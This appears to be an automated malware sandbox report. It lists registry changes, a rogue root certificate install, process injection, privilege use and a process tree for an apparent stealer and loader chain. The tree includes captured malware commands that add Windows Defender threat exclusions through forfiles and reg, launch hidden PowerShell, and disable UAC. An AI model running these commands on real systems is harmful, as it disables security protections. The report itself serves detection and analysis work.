description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	XqlEgtp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{fa44e6e0-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "3"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	XqlEgtp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1230210488-3096403634-4129516247-1000\{209A12D0-576A-4995-B739-E7F9728FEA27}	chrome.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	svhoost.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	svhoost.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2580	e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2.exe
2580	e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2.exe
4688	explortu.exe
4688	explortu.exe
1412	3bf41d36ee.exe
1412	3bf41d36ee.exe
1940	axplong.exe
1940	axplong.exe
2828	b3de505406.exe
2828	b3de505406.exe
4884	chrome.exe
4884	chrome.exe
4816	powershell.exe
4816	powershell.exe
4816	powershell.exe
1560	ASlDITwGjwi66zrZSnmKVIBk.exe
1560	ASlDITwGjwi66zrZSnmKVIBk.exe
1560	ASlDITwGjwi66zrZSnmKVIBk.exe
1560	ASlDITwGjwi66zrZSnmKVIBk.exe
5720	powershell.exe
5720	powershell.exe
5720	powershell.exe
2088	powershell.exe
2088	powershell.exe
2088	powershell.exe
4248	powershell.exe
4248	powershell.exe
4248	powershell.exe
5608	One.exe
5608	One.exe
4632	explortu.exe
4632	explortu.exe
5920	axplong.exe
5920	axplong.exe
3192	powershell.exe
3192	powershell.exe
3192	powershell.exe
2204	powershell.exe
2204	powershell.exe
2204	powershell.exe
6036	redline123123.exe
6036	redline123123.exe
6036	redline123123.exe
6036	redline123123.exe
2032	jergs.exe
2032	jergs.exe
1384	powershell.exe
1384	powershell.exe
1384	powershell.exe
4528	powershell.EXE
4528	powershell.EXE
6036	redline123123.exe
6036	redline123123.exe
4528	powershell.EXE
1096	svhoost.exe
1096	svhoost.exe
1096	svhoost.exe
1096	svhoost.exe
1096	svhoost.exe
1096	svhoost.exe
5720	powershell.exe
5720	powershell.exe
5720	powershell.exe
4692	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeDebugPrivilege	3196	file300un.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeDebugPrivilege	4816	powershell.exe
Token: SeDebugPrivilege	2984	CasPol.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeManageVolumePrivilege	1560	ASlDITwGjwi66zrZSnmKVIBk.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeDebugPrivilege	5720	powershell.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeShutdownPrivilege	4884	chrome.exe
Token: SeCreatePagefilePrivilege	4884	chrome.exe
Token: SeIncreaseQuotaPrivilege	5540	WMIC.exe
Token: SeSecurityPrivilege	5540	WMIC.exe
Token: SeTakeOwnershipPrivilege	5540	WMIC.exe
Token: SeLoadDriverPrivilege	5540	WMIC.exe
Token: SeSystemProfilePrivilege	5540	WMIC.exe
Token: SeSystemtimePrivilege	5540	WMIC.exe
Token: SeProfSingleProcessPrivilege	5540	WMIC.exe
Token: SeIncBasePriorityPrivilege	5540	WMIC.exe
Token: SeCreatePagefilePrivilege	5540	WMIC.exe
Token: SeBackupPrivilege	5540	WMIC.exe
Token: SeRestorePrivilege	5540	WMIC.exe
Token: SeShutdownPrivilege	5540	WMIC.exe
Token: SeDebugPrivilege	5540	WMIC.exe

Suspicious use of FindShellTrayWindow 54 IoCs

pid	Process
1156	8523104305.exe
1156	8523104305.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
1156	8523104305.exe
4884	chrome.exe
1156	8523104305.exe
4884	chrome.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
552	VtKu0Kz7COUlJOliVRa7Bhtv.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe

Suspicious use of SendNotifyMessage 38 IoCs

pid	Process
1156	8523104305.exe
1156	8523104305.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
4884	chrome.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe
1156	8523104305.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2580 wrote to memory of 4688	2580	e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2.exe	76
PID 2580 wrote to memory of 4688	2580	e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2.exe	76
PID 2580 wrote to memory of 4688	2580	e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2.exe	76
PID 4688 wrote to memory of 5024	4688	explortu.exe	77
PID 4688 wrote to memory of 5024	4688	explortu.exe	77
PID 4688 wrote to memory of 5024	4688	explortu.exe	77
PID 4688 wrote to memory of 1412	4688	explortu.exe	78
PID 4688 wrote to memory of 1412	4688	explortu.exe	78
PID 4688 wrote to memory of 1412	4688	explortu.exe	78
PID 1412 wrote to memory of 1940	1412	3bf41d36ee.exe	79
PID 1412 wrote to memory of 1940	1412	3bf41d36ee.exe	79
PID 1412 wrote to memory of 1940	1412	3bf41d36ee.exe	79
PID 4688 wrote to memory of 2828	4688	explortu.exe	80
PID 4688 wrote to memory of 2828	4688	explortu.exe	80
PID 4688 wrote to memory of 2828	4688	explortu.exe	80
PID 4688 wrote to memory of 1156	4688	explortu.exe	81
PID 4688 wrote to memory of 1156	4688	explortu.exe	81
PID 4688 wrote to memory of 1156	4688	explortu.exe	81
PID 1156 wrote to memory of 4884	1156	8523104305.exe	82
PID 1156 wrote to memory of 4884	1156	8523104305.exe	82
PID 4884 wrote to memory of 2560	4884	chrome.exe	85
PID 4884 wrote to memory of 2560	4884	chrome.exe	85
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 2348	4884	chrome.exe	86
PID 4884 wrote to memory of 3192	4884	chrome.exe	87
PID 4884 wrote to memory of 3192	4884	chrome.exe	87
PID 4884 wrote to memory of 1596	4884	chrome.exe	88
PID 4884 wrote to memory of 1596	4884	chrome.exe	88
PID 4884 wrote to memory of 1596	4884	chrome.exe	88
PID 4884 wrote to memory of 1596	4884	chrome.exe	88
PID 4884 wrote to memory of 1596	4884	chrome.exe	88
PID 4884 wrote to memory of 1596	4884	chrome.exe	88
PID 4884 wrote to memory of 1596	4884	chrome.exe	88
PID 4884 wrote to memory of 1596	4884	chrome.exe	88
PID 4884 wrote to memory of 1596	4884	chrome.exe	88

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5668	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:656
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:480

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:904
- C:\Windows\system32\gpscript.exe
  gpscript.exe /RefreshSystemParam
  2⤵
  PID:5468

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1208
- C:\Users\Admin\AppData\Local\Temp\7zSCF17.tmp\Install.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCF17.tmp\Install.exe PP /JtkdidfYvf 385118 /S
  2⤵
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4940
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:1476
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:5424
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:5448
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:5308
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:4772
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5628
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:3492
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:5800
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:1248
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:2852
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:340
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:3004
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:5272
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:3812
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:776
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:3192
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:5816
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
